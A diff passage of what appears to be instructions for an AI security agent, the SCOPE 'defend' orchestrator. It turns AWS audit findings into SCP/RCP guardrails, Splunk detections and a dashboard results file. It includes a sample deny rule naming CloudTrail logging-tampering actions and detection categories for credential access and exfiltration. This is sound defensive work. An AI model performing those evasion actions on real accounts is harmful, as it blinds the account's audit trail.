entry with today's date (YYYY-MM-DD). Never delete or overwrite existing entries. -All SPL detections consolidated for SOC import. Organized in two sections: + +## Results.JSON Assembly -**Section 1: Atomic Detections** — Individual observable behaviors, organized by MITRE tactic: -1. Initial Access (TA0001) -2. Persistence (TA0003) -3. Privilege Escalation (TA0004) -4. Defense Evasion (TA0005) -5. Credential Access (TA0006) -6. Discovery (TA0007) -7. Exfiltration (TA0010) +Read all artifact files from DEFEND_RUN_DIR and assemble results.json. The schema validation hook (T-78-13 mitigation) fires automatically on write. -**Section 2: Composite Detections** — Multi-phase TTP correlations that reference atomic detections above. These are the high-confidence alerting rules that should page the SOC. Each composite lists its atomic components. +### Step 1: Read guardrails artifacts -For each detection, use the full SOC-ready detection template (from detection_suggestions section): +Verify guardrails.md exists: -```markdown -#### Detection: [Name] - -**SPL:** -```spl -[query] -``` -**MITRE ATT&CK:** [Tactic] / [Technique ID] — [Technique Name] -**Severity:** [critical | high | medium | low] -**Description:** [description] -**False Positives:** [sources] -**Tuning Guidance:** [approach] -**Attack path(s):** [cross-reference to attack path section] -**Source:** [run_id] | Attack Path: [attack_path_name] | Severity: [level] -``` - -**Appendix purpose:** Each appendix serves a different team handoff audience: -- Appendix A + B → security engineering team deploys policies via AWS Organizations console -- Appendix C + D → cloud operations team enables detective controls in each account -- Appendix E → SOC team imports detections into Splunk saved searches or ESCU (Splunk Security Essentials) -``` - -### Policies Directory - -Write compact JSON (no whitespace outside strings) to `$RUN_DIR/policies/`: -- One file per SCP: `scp-.json` -- One file per RCP: `rcp-.json` -- Filename max length: 50 characters -- JSON format: compact, no indentation, no extra whitespace - -Compact JSON example: -``` -{"Version":"2012-10-17","Statement":[{"Sid":"DenyCloudTrailMod","Effect":"Deny","Action":["cloudtrail:DeleteTrail","cloudtrail:StopLogging"],"Resource":"*","Condition":{"ArnNotLike":{"aws:PrincipalArn":"arn:aws:iam::*:role/SecurityAdminRole"}}}]} +```bash +test -f "$DEFEND_RUN_DIR/guardrails.md" && echo "guardrails.md PRESENT" || echo "WARNING: guardrails.md missing" ``` -### Final Operator Report +Build guardrails array from policy JSON files. For each file in `$DEFEND_RUN_DIR/policies/*.json`: -**IMPORTANT:** Do NOT display this report until AFTER the `` section below has completed. The execution order is: write markdown artifacts → run results_export → display this report. - -After ALL steps complete — including results_export and pipeline — display a completion summary: -``` ---- -REMEDIATION COMPLETE - -Run ID: defend-YYYYMMDD-HHMMSS -Artifacts written: - $RUN_DIR/executive-summary.md - $RUN_DIR/technical-remediation.md - $RUN_DIR/policies/scp-[name].json ([count] SCPs) - $RUN_DIR/policies/rcp-[name].json ([count] RCPs) - $RUN_DIR/results.json - dashboard/public/[run_id].json - Dashboard updated: dashboard/public/index.json - -Quick Wins to deploy first: - 1. [Top quick win action] - 2. [Second quick win action] - 3. [Third quick win action] - -Review executive-summary.md for leadership briefing. -Review technical-remediation.md for deployment-ready SCP/RCP JSON and impact analysis. ---- -``` - -**Self-check before displaying the report:** ```bash -test -f "$RUN_DIR/results.json" && echo "results.json: OK" || echo "ERROR: results.json missing — run results_export first" -test -f "dashboard/public/$RUN_ID.json" && echo "dashboard export: OK" || echo "ERROR: dashboard export missing" -test -f "$RUN_DIR/executive-summary.md" && echo "executive-summary: OK" || echo "ERROR: executive-summary missing" -test -f "$RUN_DIR/technical-remediation.md" && echo "technical-remediation: OK" || echo "ERROR: technical-remediation missing" +GUARDRAILS_ARRAY="[]" +for POLICY_FILE in "$DEFEND_RUN_DIR/policies/"*.json; do + [ -f "$POLICY_FILE" ] || continue + BASENAME=$(basename "$POLICY_FILE") + # Determine type from filename prefix + if echo "$BASENAME" | grep -q "^scp-"; then + POLICY_TYPE="scp" + elif echo "$BASENAME" | grep -q "^rcp-"; then + POLICY_TYPE="rcp" + else + POLICY_TYPE="scp" + fi + POLICY_NAME="${BASENAME%.json}" + if ! jq empty "$POLICY_FILE" 2>/dev/null; then + echo "ERROR: Invalid JSON in $POLICY_FILE — skipping" >&2 + continue + fi + POLICY_JSON=$(jq '.' "$POLICY_FILE") + ENTRY=$(jq -n \ + --arg name "$POLICY_NAME" \ + --arg type "$POLICY_TYPE" \ + --arg file "policies/$BASENAME" \ + --argjson policy_json "$POLICY_JSON" \ + --arg audit_run_id "$AUDIT_RUN_ID" \ + '{ + name: $name, + type: $type, + file: $file, + policy_json: $policy_json, + source_attack_paths: [], + source_run_ids: [$audit_run_id], + impact_analysis: { + prevents: [], + blast_radius: "medium", + affected_services: [], + break_glass: "ArnNotLike condition on BreakGlass* roles" + } + }') + GUARDRAILS_ARRAY=$(echo "$GUARDRAILS_ARRAY" | jq --argjson entry "$ENTRY" '. + [$entry]') +done ``` -If any file is missing, go back and create it before displaying the report. - - -## Results Export — Dashboard Integration (MANDATORY — runs BEFORE Final Operator Report) +### Step 2: Read detections array -After writing executive-summary.md and technical-remediation.md, export structured results for the SCOPE dashboard. This step MUST complete before displaying the Final Operator Report. - -### critical: Array-First Construction Discipline -# No count field is ever set from a narrative estimate or placeholder. -# Every count is `jq 'length'` applied to the actual array. -# The arrays MUST be fully built before ANY summary field references them. - -### Step 0: Derive $RISK_SCORE from intake fields - -Before building arrays, derive `RISK_SCORE` from the audit intake data. This variable is used in the summary and dashboard index — it MUST be set before Step 1. +The splunk subagent writes a machine-readable `detections.json` alongside `splunk-detections.md`: ```bash -# STEP 0: Derive RISK_SCORE from intake fields -# Source: overall_risk parsed from findings.md (Extract Layer 1) or results.json summary.risk -# Normalize to lowercase to match schema enum: critical | high | medium | low - -if [ -n "$OVERALL_RISK" ]; then - # Use overall_risk extracted during findings intake (already set as shell variable) - RISK_SCORE=$(echo "$OVERALL_RISK" | tr '[:upper:]' '[:lower:]') -elif [ -f "$AUDIT_RUN_DIR/results.json" ]; then - # Fall back to reading from audit results.json - RISK_SCORE=$(jq -r '.summary.risk_score // "medium"' "$AUDIT_RUN_DIR/results.json" | tr '[:upper:]' '[:lower:]') +if [ -f "$DEFEND_RUN_DIR/detections.json" ]; then + DETECTIONS_ARRAY=$(jq '.' "$DEFEND_RUN_DIR/detections.json") else - # Final fallback: derive from attack path severity distribution - # Use highest severity among all parsed attack paths - RISK_SCORE="medium" - echo "WARNING: Could not derive RISK_SCORE from intake — defaulting to 'medium'. Check audit results.json." + echo "WARNING: detections.json not found — using empty array" + DETECTIONS_ARRAY="[]" fi - -# Validate: must be one of the schema enum values -case "$RISK_SCORE" in - critical|high|medium|low) ;; - *) echo "WARNING: RISK_SCORE '$RISK_SCORE' is not a valid enum value — defaulting to 'medium'"; RISK_SCORE="medium" ;; -esac ``` -### Step 1: Build all arrays FIRST +### Step 3: Read policy replacements -Build every array in full before computing any count. Use the generated artifacts from this session: +Build policy_replacements array from `$DEFEND_RUN_DIR/replacements/*.json`: ```bash -# STEP 1: Build all arrays FIRST — every array must be complete before any count is computed - -# SCPS_ARRAY: one object per generated SCP policy -# Each object: name, file, policy_json (object), source_attack_paths, source_run_ids, impact_analysis -SCPS_ARRAY=$(jq -n '[ - { - "name": "", - "file": "", - "policy_json": {}, - "source_attack_paths": [""], - "source_run_ids": [""], - "impact_analysis": { - "prevents": [""], - "blast_radius": "low | medium | high", - "affected_services": [""], - "break_glass": "" - } - } -]') -# Add one entry per generated SCP to the array above - -# RCPS_ARRAY: one object per generated RCP policy -# Each object: name, file, policy_json (object), source_attack_paths, source_run_ids, impact_analysis -RCPS_ARRAY=$(jq -n '[ - { - "name": "", - "file": "", - "policy_json": {}, - "source_attack_paths": [""], - "source_run_ids": [""], - "impact_analysis": { - "prevents": [""], - "blast_radius": "low | medium | high", - "affected_services": [""], - "break_glass": "" - } - } -]') -# Add one entry per generated RCP to the array above - -# DETECTIONS_ARRAY: one object per SPL detection -# Each object: name, spl, severity, category, mitre_technique, source_attack_paths, source_run_ids -DETECTIONS_ARRAY=$(jq -n '[ - { - "name": "", - "spl": "", - "severity": "critical | high | medium | low", - "category": "", - "mitre_technique": "", - "source_attack_paths": [""], - "source_run_ids": [""] - } -]') -# Add one entry per generated detection to the array above - -# CONTROLS_ARRAY: one object per security control recommendation -# Each object: service, recommendation, priority, effort, source_attack_paths -CONTROLS_ARRAY=$(jq -n '[ - { - "service": "", - "recommendation": "", - "priority": "critical | high | medium | low", - "effort": "low | medium | high", - "source_attack_paths": [""] - } -]') -# Add one entry per control recommendation to the array above - -# PRIORITIZATION_ARRAY: all remediation actions ranked by Risk x Effort -# Each object: rank, action, risk, effort, category -PRIORITIZATION_ARRAY=$(jq -n '[ - { - "rank": 1, - "action": "", - "risk": "critical | high | medium | low", - "effort": "low | medium | high", - "category": "scp | rcp | detection | control | config" - } -]') -# Add all prioritized actions to the array above -``` - -### Step 2: Derive summary counts FROM arrays +POLICY_REPLACEMENTS_ARRAY="[]" +for REPL_FILE in "$DEFEND_RUN_DIR/replacements/"*.json; do + [ -f "$REPL_FILE" ] || continue + BASENAME=$(basename "$REPL_FILE") + # Extract role name from filename: iam-replacement-{role-name}.json + ROLE_NAME=$(echo "$BASENAME" | sed 's/^iam-replacement-//' | sed 's/\.json$//') + REPL_JSON=$(jq '.' "$REPL_FILE") + ENTRY=$(jq -n \ + --arg role_name "$ROLE_NAME" \ + --arg file "replacements/$BASENAME" \ + --argjson replacement_policy_json "$REPL_JSON" \ + --arg audit_run_id "$AUDIT_RUN_ID" \ + '{ + role_name: $role_name, + file: $file, + original_policy_arn: "unknown", + replacement_policy_json: $replacement_policy_json, + source_attack_paths: [], + staleness_reasoning: "See policy-replacements.md for detailed reasoning" + }') + POLICY_REPLACEMENTS_ARRAY=$(echo "$POLICY_REPLACEMENTS_ARRAY" | jq --argjson entry "$ENTRY" '. + [$entry]') +done +``` + +### Step 4: Build remediation, validation, and summary objects ```bash -# STEP 2: Derive counts from arrays — NEVER hardcode or estimate counts -SCPS_COUNT=$(echo "$SCPS_ARRAY" | jq 'length') -RCPS_COUNT=$(echo "$RCPS_ARRAY" | jq 'length') -DETECTIONS_COUNT=$(echo "$DETECTIONS_ARRAY" | jq 'length') -CONTROLS_COUNT=$(echo "$CONTROLS_ARRAY" | jq 'length') -QUICK_WINS_COUNT=$(echo "$PRIORITIZATION_ARRAY" | jq '[.[] | select(.effort == "low")] | length') +REMEDIATION_OBJ=$(jq -n \ + --arg file "$DEFEND_RUN_DIR/remediation-plan.md" \ + --argjson items "$REMEDIATION_ITEMS_COUNT" \ + '{ file: $file, items: $items }') + +VALIDATION_OBJ=$(jq -n \ + --arg status "$VALIDATION_STATUS" \ + --argjson blocks "$VALIDATION_BLOCKS" \ + --argjson warns "$VALIDATION_WARNS" \ + --arg file "$DEFEND_RUN_DIR/validation-report.md" \ + '{ status: $status, blocks: $blocks, warns: $warns, file: $file }') + +GUARDRAILS_TOTAL=$((GUARDRAILS_SCPS + GUARDRAILS_RCPS)) + +SUMMARY_JSON=$(jq -n \ + --argjson guardrails "$GUARDRAILS_TOTAL" \ + --argjson detections "$DETECTIONS_COUNT" \ + --argjson policy_replacements "$POLICY_REPLACEMENTS_COUNT" \ + --argjson remediation_items "$REMEDIATION_ITEMS_COUNT" \ + --arg validation_status "$VALIDATION_STATUS" \ + --arg severity "$AUDIT_SEVERITY" \ + '{ + guardrails: $guardrails, + detections: $detections, + policy_replacements: $policy_replacements, + remediation_items: $remediation_items, + validation_status: $validation_status, + severity: $severity + }') + +AUDIT_RUNS_ARRAY=$(jq -n --arg run_id "$AUDIT_RUN_ID" '[$run_id]') ``` -### Step 3: Assemble and write results.json using derived counts +### Step 5: Write results.json ```bash -# STEP 3: Assemble results.json — counts are derived variables, arrays are complete -# Extract account_id from audit results.json or findings.md (must be 12-digit number, not 'unknown') -# Extract audit_runs_analyzed from consumed audit run directories - -# In multi-run mode: ACCOUNTS_ANALYZED is the JSON array of all account IDs (e.g., '["123456789012","234567890123"]') -# In autonomous mode: ACCOUNTS_ANALYZED is empty array '[]' — single account only; account_id covers it jq -n \ --arg account_id "$ACCOUNT_ID" \ - --argjson accounts_analyzed "${ACCOUNTS_ANALYZED:-[]}" \ --arg source "defend" \ --arg region "global" \ --arg ts "$(date -u +%Y-%m-%dT%H:%M:%SZ)" \ - --arg risk_score "$RISK_SCORE" \ - --argjson audit_runs '["", "..."]' \ - --argjson scps "$SCPS_ARRAY" \ - --argjson rcps "$RCPS_ARRAY" \ + --argjson summary "$SUMMARY_JSON" \ + --argjson guardrails "$GUARDRAILS_ARRAY" \ --argjson detections "$DETECTIONS_ARRAY" \ - --argjson controls "$CONTROLS_ARRAY" \ - --argjson prioritization "$PRIORITIZATION_ARRAY" \ - --arg run_status "$STATUS" \ - --argjson run_errors "${COVERAGE_ERRORS:-[]}" \ - --argjson scps_count "$SCPS_COUNT" \ - --argjson rcps_count "$RCPS_COUNT" \ - --argjson detections_count "$DETECTIONS_COUNT" \ - --argjson controls_count "$CONTROLS_COUNT" \ - --argjson quick_wins_count "$QUICK_WINS_COUNT" \ + --argjson policy_replacements "$POLICY_REPLACEMENTS_ARRAY" \ + --argjson remediation "$REMEDIATION_OBJ" \ + --argjson validation "$VALIDATION_OBJ" \ + --argjson audit_runs_analyzed "$AUDIT_RUNS_ARRAY" \ '{ account_id: $account_id, - accounts_analyzed: (if ($accounts_analyzed | length) > 1 then $accounts_analyzed else [] end), source: $source, region: $region, timestamp: $ts, - summary: { - scps_generated: $scps_count, - rcps_generated: $rcps_count, - detections_generated: $detections_count, - controls_recommended: $controls_count, - quick_wins: $quick_wins_count, - risk_score: $risk_score - }, - audit_runs_analyzed: $audit_runs, - executive_summary: { - risk_posture: "", - category_breakdown: [ - { "category": "", "count": 0, "severity": "critical | high | medium | low" } - ], - quick_wins: [ - { "rank": 1, "action": "", "impact": "" } - ], - remediation_timeline: { - "this_week": [""], - "this_month": [""], - "this_quarter": [""] - } - }, - technical_recommendations: { - attack_path_bundles: [ - { - "attack_path": "", - "severity": "critical | high | medium | low", - "source_run_ids": [""], - "classification": "systemic | one-off", - "scp_names": [""], - "rcp_names": [""], - "detection_names": [""], - "control_names": [""] - } - ] - }, - status: $run_status, - errors: $run_errors, - scps: $scps, - rcps: $rcps, + audit_runs_analyzed: $audit_runs_analyzed, + summary: $summary, + guardrails: $guardrails, detections: $detections, - security_controls: $controls, - prioritization: $prioritization - }' > "$RUN_DIR/results.json" + policy_replacements: $policy_replacements, + remediation: $remediation, + validation: $validation + }' > "$DEFEND_RUN_DIR/results.json" ``` -### Step 4: Export to dashboard - -```bash -# Extract RUN_ID from RUN_DIR -RUN_ID=$(basename "$RUN_DIR") - -# Write to dashboard public directory -mkdir -p dashboard/public -cp "$RUN_DIR/results.json" "dashboard/public/$RUN_ID.json" +The `scope-schema-validate.sh` hook fires automatically on this write (T-78-13 mitigation). If it blocks with a validation error, read the error, fix results.json, and rewrite. -# The pipeline manages ./data/ and ./agent-logs/ indexes, NOT dashboard/public/index.json. -# Set status to the run's actual STATUS (complete or partial) — this is the final value. -DASHBOARD_STATUS="$STATUS" +Verify the file was written: -# Update dashboard index — runs[] only, no latest* fields -if [ -f dashboard/public/index.json ]; then - node -e " - const idx = JSON.parse(require('fs').readFileSync('dashboard/public/index.json','utf8')); - idx.runs = (idx.runs || []).filter(r => r.run_id !== '$RUN_ID'); - idx.runs.unshift({ run_id: '$RUN_ID', date: new Date().toISOString(), source: 'defend', target: '$ACCOUNT_ID', risk: '$RISK_SCORE', status: '$DASHBOARD_STATUS', file: '$RUN_ID.json' }); - require('fs').writeFileSync('dashboard/public/index.json', JSON.stringify(idx, null, 2)); - " -else - node -e " - const idx = { runs: [{ run_id: '$RUN_ID', date: new Date().toISOString(), source: 'defend', target: '$ACCOUNT_ID', risk: '$RISK_SCORE', status: '$DASHBOARD_STATUS', file: '$RUN_ID.json' }] }; - require('fs').writeFileSync('dashboard/public/index.json', JSON.stringify(idx, null, 2)); - " -fi +```bash +test -f "$DEFEND_RUN_DIR/results.json" && echo "results.json WRITTEN" || echo "ERROR: results.json not written" ``` -Dashboard HTML is generated by the post-processing pipeline. Do NOT generate standalone HTML files — the dashboard build (`cd dashboard && npm run dashboard`) handles visualization. - - - - -## Success Criteria - -A defend run is complete when ALL of the following are true: - -### Intake and Aggregation - -**Mode-dependent:** In autonomous mode (AUDIT_RUN_DIR provided), only the current audit run is read — skip cross-run aggregation. In manual mode (no AUDIT_RUN_DIR), all audit runs are read and aggregated. - -**Autonomous mode (single-run):** -- The current audit run's `findings.md` and normalized JSON from `./data/audit/` are both attempted (fallback to findings.md only if normalized data is unavailable, with operator warning) -- Intake summary logged before proceeding to SCP/RCP generation - -**Manual mode (all-runs):** -- All audit runs in `./audit/INDEX.md` are parsed — or the operator is warned if INDEX.md is absent and filesystem fallback is used -- Both `findings.md` and normalized JSON from `./data/audit/` are attempted per run (fallback to findings.md only if normalized data is unavailable, with operator warning) -- Cross-run aggregation correctly classifies paths as systemic (2+ runs) or one-off (1 run) using the Counter-based dedup logic (manual mode only — autonomous mode skips aggregation and marks all paths as one-off) -- Conflicting findings between runs are reported with both run IDs and timestamps — not silently resolved -- Intake summary logged before proceeding to SCP/RCP generation +### Step 6: Generate executive-summary.md -### SCP and RCP Generation +After results.json is assembled, write `$DEFEND_RUN_DIR/executive-summary.md` — a concise narrative for stakeholders. Read results.json and the subagent artifacts to synthesize: -- At least one SCP or RCP generated for each high or critical attack path that has actionable remediation items -- Every SCP and RCP has a traceability citation: `Source: [run_id] | Attack Path: [name] | Severity: [level]` -- Every Deny SCP has an `ArnNotLike` exemption condition for admin/ops roles — no SCP without an exemption -- No `NotPrincipal` in any SCP (SCPs do not support this element) -- No specific resource ARNs in SCP `Allow` statements (only `"Resource": "*"` is valid) -- Every SCP compact JSON is checked for character count — warn operator if > 4,500 chars, hard stop at 5,120 -- Every compact SCP/RCP JSON file written to `$RUN_DIR/policies/` with correct naming convention -- Every SCP includes the management account note in its impact analysis -- All proposed policies logged before writing files +- Account ID and audit run context +- Overall risk posture (severity from audit results) +- Key findings count: attack paths analyzed, guardrails generated, detections created, policies replaced, remediation items +- Top 3-5 most critical attack paths (name + one-sentence impact) +- Defensive coverage summary: what percentage of attack paths have at least one control (guardrail, detection, or remediation) +- Validation status and any outstanding warnings -### Security Controls +Keep it under 2 pages. Write in past tense. Use real resource names and account IDs from the data. -- GuardDuty finding types recommended for each attack path type discovered (IAM, S3, EC2, Secrets) -- Config managed rules recommended — org-wide conformance pack for systemic, individual rules for one-off -- No CloudFormation, Terraform, or CLI deployment commands generated — text recommendations only -- Security control recommendations added to technical-remediation.md +### Step 7: Generate technical-remediation.md -### Detection Suggestions +Write `$DEFEND_RUN_DIR/technical-remediation.md` — a prioritized technical action plan. Read remediation-plan.md, guardrails.md, and policy-replacements.md to synthesize: -- At least one SPL detection generated for each attack path that has non-empty `detection_opportunities` -- Every SPL detection uses raw `index=cloudtrail` with explicit `earliest`/`latest` time bounds — never backtick macros -- Every SPL detection includes the `| rename userIdentity.userName AS user, userIdentity.arn AS src_user_arn` CIM rename -- Every detection has all required template fields populated: MITRE ATT&CK, Severity, Type (Atomic/Composite), Description, False Positives, Tuning Guidance, Related Attack Path, Source -- Detections follow the atomic → composite model: individual behaviors as atomic detections, multi-phase TTPs as composite detections correlating atomics by `src_user_arn` -- Composite detections have higher severity than their atomic components -- No Sigma YAML in detection output — SPL only -- No CloudWatch metric filters included as detection alternatives — SPL detections only -- All proposed detections embedded in technical-remediation.md +- Prioritized fix list (from remediation-plan.md priority tiers) +- For each fix: what to do, which resources are affected, which attack paths it closes +- SCP/RCP deployment instructions (reference policy files in policies/ directory) +- IAM policy replacement instructions (reference files in replacements/ directory) +- Detection deployment guidance (reference splunk-detections.md) +- Dependency map: which fixes should be applied first because they unblock others -### Output Documents +This is the operator's action checklist. Every item must be specific and actionable — real ARNs, real policy names, real commands. + -- `executive-summary.md` written to `$RUN_DIR/` with: risk posture scorecard (category breakdown), top 5 quick wins with business impact, systemic vs one-off breakdown table, remediation timeline suggestion (this week / this month / this quarter) -- `technical-remediation.md` written to `$RUN_DIR/` (only when attack paths exist) with: prioritization matrix (Quick Wins first), full attack-path-grouped remediation bundles (SCP + RCP + security controls + SPL detection per path), and Appendix A-E organized by control type for team handoff. When zero attack paths are found, only executive-summary.md is written (see error_handling for the zero-paths flow). -- Every attack path section in technical-remediation.md includes the attack path name, severity, source run ID(s), systemic/one-off classification, and affected account IDs -- Appendix E in technical-remediation.md lists all SPL detections organized by MITRE tactic order: Initial Access → Persistence → Privilege Escalation → Defense Evasion → Credential Access → Discovery → Exfiltration -- Output files written to $RUN_DIR/ + +## Dashboard Export -### Dashboard +After results.json is written, export to the dashboard: -- All visualization is handled by the SCOPE dashboard (`dashboard/-dashboard.html`, generated via `cd dashboard && npm run dashboard`) - -### Index and Operator Gates - -- `$AUDIT_RUN_DIR/defend/INDEX.md` entry appended after run completes — created if it doesn't exist -- Run completion summary displayed with artifact paths and top 3 quick wins - -### Pipeline +```bash +DASHBOARD_RUN_ID=$(basename "$DEFEND_RUN_DIR") +mkdir -p dashboard/public +cp "$DEFEND_RUN_DIR/results.json" "dashboard/public/$DASHBOARD_RUN_ID.json" -- scope-pipeline.md invoked with PHASE=defend, RUN_DIR=$RUN_DIR (Phase 1 data normalization + Phase 2 evidence indexing) -- Pipeline failures logged as warnings (non-blocking) - +# Update index.json — upsert this run (match on run_id), newest-first +SEVERITY=$(jq -r '.summary.severity' "$DEFEND_RUN_DIR/results.json") +VALIDATION_STATUS=$(jq -r '.summary.validation_status' "$DEFEND_RUN_DIR/results.json") - -## Error Handling +if [ -f dashboard/public/index.json ]; then + DASHBOARD_RUN_ID="$DASHBOARD_RUN_ID" ACCOUNT_ID="$ACCOUNT_ID" SEVERITY="$SEVERITY" VALIDATION_STATUS="$VALIDATION_STATUS" \ + node -e "$(cat <<'JS' + const {DASHBOARD_RUN_ID, ACCOUNT_ID, SEVERITY, VALIDATION_STATUS} = process.env; + const idx = JSON.parse(require('fs').readFileSync('dashboard/public/index.json','utf8')); + idx.runs = (idx.runs || []).filter(r => r.run_id !== DASHBOARD_RUN_ID); + idx.runs.unshift({ run_id: DASHBOARD_RUN_ID, date: new Date().toISOString(), source: 'defend', target: ACCOUNT_ID, severity: SEVERITY, status: VALIDATION_STATUS, file: DASHBOARD_RUN_ID + '.json' }); + require('fs').writeFileSync('dashboard/public/index.json', JSON.stringify(idx, null, 2)); +JS + )" +else + DASHBOARD_RUN_ID="$DASHBOARD_RUN_ID" ACCOUNT_ID="$ACCOUNT_ID" SEVERITY="$SEVERITY" VALIDATION_STATUS="$VALIDATION_STATUS" \ + node -e "$(cat <<'JS' + const {DASHBOARD_RUN_ID, ACCOUNT_ID, SEVERITY, VALIDATION_STATUS} = process.env; + const idx = { runs: [{ run_id: DASHBOARD_RUN_ID, date: new Date().toISOString(), source: 'defend', target: ACCOUNT_ID, severity: SEVERITY, status: VALIDATION_STATUS, file: DASHBOARD_RUN_ID + '.json' }] }; + require('fs').writeFileSync('dashboard/public/index.json', JSON.stringify(idx, null, 2)); +JS + )" +fi +``` + -Stop and report on errors — do not silently continue or mask failures. Every error is surfaced to the operator with context and a suggested resolution. + +## Post-Processing Pipeline (Non-Blocking) -### No Audit Data Found +After dashboard export, run the pipeline inline. -**Condition:** `./audit/` directory does not exist, is empty, or contains no `audit-*` subdirectories. +Read `agents/subagents/scope-pipeline.md` and execute: -**Action:** Stop immediately and report: ``` -No audit runs found in ./audit/. Run /scope:audit first to generate findings. - -If audit runs are stored elsewhere, ensure they follow the ./audit/audit-YYYYMMDD-HHMMSS-slug/ directory structure. +PHASE=defend +RUN_DIR={defend_run_dir} ``` -Do NOT create any output files. -### INDEX.md Missing or Empty +Run Phase 1 data normalization then Phase 2 agent-log indexing for the defend artifacts. -**Condition:** `./audit/INDEX.md` does not exist or contains no data rows. +If standalone mode (operator-invoked, not dispatched by audit): run dashboard generation after pipeline: -**Action:** Fall back to filesystem enumeration, warn operator: +```bash +cd dashboard && npm run dashboard 2>&1 ``` -WARNING: ./audit/INDEX.md not found or empty. Scanning filesystem for audit runs — some incomplete or partial runs may be included. -Runs found: [list discovered directories] + +If either pipeline step fails: log a warning and continue — raw artifacts are already written. + +```bash +printf '%s\n' "$(jq -nc --arg ts "$(date -u +%Y-%m-%dT%H:%M:%SZ)" --arg status "pipeline_warning" --arg msg "Pipeline step failed — raw artifacts preserved" '{event_id:"ev-020",type:"pipeline_status",status:$status,message:$msg,timestamp:$ts}')" >> "$DEFEND_RUN_DIR/agent-log.jsonl" ``` -Proceed with filesystem-enumerated runs. Log this warning in the run completion summary. + -### findings.md Unparseable + +## Announce Completion -**Condition:** A audit run directory has a `findings.md` file but it contains no `### ATTACK PATH #` headers (the expected format is missing or corrupted). +Print to operator/parent orchestrator: -**Action:** Skip that specific run, warn operator, continue with other runs: ``` -WARNING: Run [run-id] findings.md does not contain expected attack path format. Skipping this run. -Path: ./audit/[run-id]/findings.md +━━━ Defend: complete ━━━ +Run directory: {DEFEND_RUN_DIR} +SCPs: {GUARDRAILS_SCPS} | RCPs: {GUARDRAILS_RCPS} | Detections: {DETECTIONS_COUNT} +Policy replacements: {POLICY_REPLACEMENTS_COUNT} | Remediation items: {REMEDIATION_ITEMS_COUNT} +Validation: {pass|partial} +━━━━━━━━━━━━━━━━━━━━━━━ ``` -If ALL runs fail to parse, stop and report: "No parseable attack paths found across all audit runs." -### Normalized JSON Unavailable +If validation ended in partial (BLOCKS remaining after Round 2), add: -**Condition:** `./data/audit/.json` (via `results.json`) does not exist or cannot be parsed. - -**Action:** Fall back to findings.md data only for that run, warn operator: ``` -WARNING: Could not read normalized data from ./data/audit/[run-id].json. Using findings.md data only for this run. Attack path details may be less complete. +NOTE: Validation PARTIAL — {N} block findings remain. See {DEFEND_RUN_DIR}/validation-report.md for details. ``` -Continue processing. Note in the run completion summary that normalized data was unavailable for this run. + -### Zero Attack Paths Across All Runs + +## Return Summary -**Condition:** All audit runs parsed successfully but zero attack paths were found (all speculative paths were stripped by verification or the account has no exploitable paths). +The last output from this orchestrator is the machine-parseable return summary consumed by the audit orchestrator's `` section: -**Action:** Report clean bill of health and generate a minimal executive summary: ``` -No exploitable attack paths found across [count] audit run(s). - -Account appears well-configured relative to the attack paths tested. This does not mean the account is fully hardened — audit coverage is limited to services and configurations enumerated. - -Generating minimal executive summary. +STATUS: complete +DEFEND_RUN_DIR: {defend_run_dir} +METRICS: {scps: N, rcps: N, detections: N} ``` -Write a minimal `executive-summary.md` with the clean finding, audit run list, and a recommendation to re-run with `--all` flag for full coverage. Do NOT generate technical-remediation.md (no attack paths to defend against). -### SCP Compact JSON Exceeds 4,500 Characters +Where: +- `scps` — GUARDRAILS_SCPS (from guardrails subagent METRICS) +- `rcps` — GUARDRAILS_RCPS (from guardrails subagent METRICS) +- `detections` — DETECTIONS_COUNT (from splunk subagent METRICS) -**Condition:** After generating compact JSON for an SCP, character count exceeds 4,500. +If Wave 1 failed (any subagent returned STATUS: error): -**Action:** Warn in technical-remediation.md: ``` -WARNING: [SCP name] compact JSON is [N] characters (warning threshold: 4,500 / hard limit: 5,120). -Consider splitting into two SCPs: - Option A: Separate by service (e.g., CloudTrail actions in one SCP, Config actions in another) - Option B: Separate by risk category (e.g., audit protection in one SCP, data protection in another) +STATUS: error +DEFEND_RUN_DIR: {defend_run_dir} +METRICS: {scps: 0, rcps: 0, detections: 0} ``` -Still write the SCP — do not omit it. Let the operator decide whether to split. - -### Any Unexpected Error + -**Condition:** Any Python exception, file permission error, or unexpected condition not covered by the above cases. + +## Required Output Files (MANDATORY) -**Action:** Surface the full error and stop: -``` -ERROR: Unexpected error during [step description]. +Every defend run MUST produce ALL of the following files before reporting completion. -[Full error message and stack trace] +| # | File | Location | Purpose | +|---|------|----------|---------| +| 1 | `results.json` | `$DEFEND_RUN_DIR/results.json` | Structured data for dashboard and downstream agents | +| 2 | `guardrails.md` | `$DEFEND_RUN_DIR/guardrails.md` | SCP/RCP policy narratives | +| 3 | `splunk-detections.md` | `$DEFEND_RUN_DIR/splunk-detections.md` | SPL detection rules | +| 4 | `detections.json` | `$DEFEND_RUN_DIR/detections.json` | Machine-readable detections array for assembly | +| 5 | `policy-replacements.md` | `$DEFEND_RUN_DIR/policy-replacements.md` | IAM replacement policy narratives | +| 6 | `remediation-plan.md` | `$DEFEND_RUN_DIR/remediation-plan.md` | Prioritized remediation items | +| 7 | `validation-report.md` | `$DEFEND_RUN_DIR/validation-report.md` | Adversarial review findings | +| 8 | `policies/*.json` | `$DEFEND_RUN_DIR/policies/` | Deployable SCP/RCP policy JSON files | +| 9 | `agent-log.jsonl` | `$DEFEND_RUN_DIR/agent-log.jsonl` | Provenance log | + +**Self-check before reporting completion:** -Partial output written to: [path if any files were written] -To resume: Re-run /scope:audit after resolving the error. +```bash +test -f "$DEFEND_RUN_DIR/results.json" && echo "results.json PRESENT" || echo "MISSING: results.json" +test -f "$DEFEND_RUN_DIR/guardrails.md" && echo "guardrails.md PRESENT" || echo "MISSING: guardrails.md" +test -f "$DEFEND_RUN_DIR/splunk-detections.md" && echo "splunk-detections.md PRESENT" || echo "MISSING: splunk-detections.md" +test -f "$DEFEND_RUN_DIR/policy-replacements.md" && echo "policy-replacements.md PRESENT" || echo "MISSING: policy-replacements.md" +test -f "$DEFEND_RUN_DIR/remediation-plan.md" && echo "remediation-plan.md PRESENT" || echo "MISSING: remediation-plan.md" +test -f "$DEFEND_RUN_DIR/validation-report.md" && echo "validation-report.md PRESENT" || echo "MISSING: validation-report.md" +test -f "$DEFEND_RUN_DIR/agent-log.jsonl" && echo "agent-log.jsonl PRESENT" || echo "MISSING: agent-log.jsonl" ``` -Do NOT silently swallow the error. Do NOT continue with incomplete data. If any output files were written before the error, report their paths so the operator can decide whether to use partial output. - + +If ANY mandatory file is missing (and no applicable 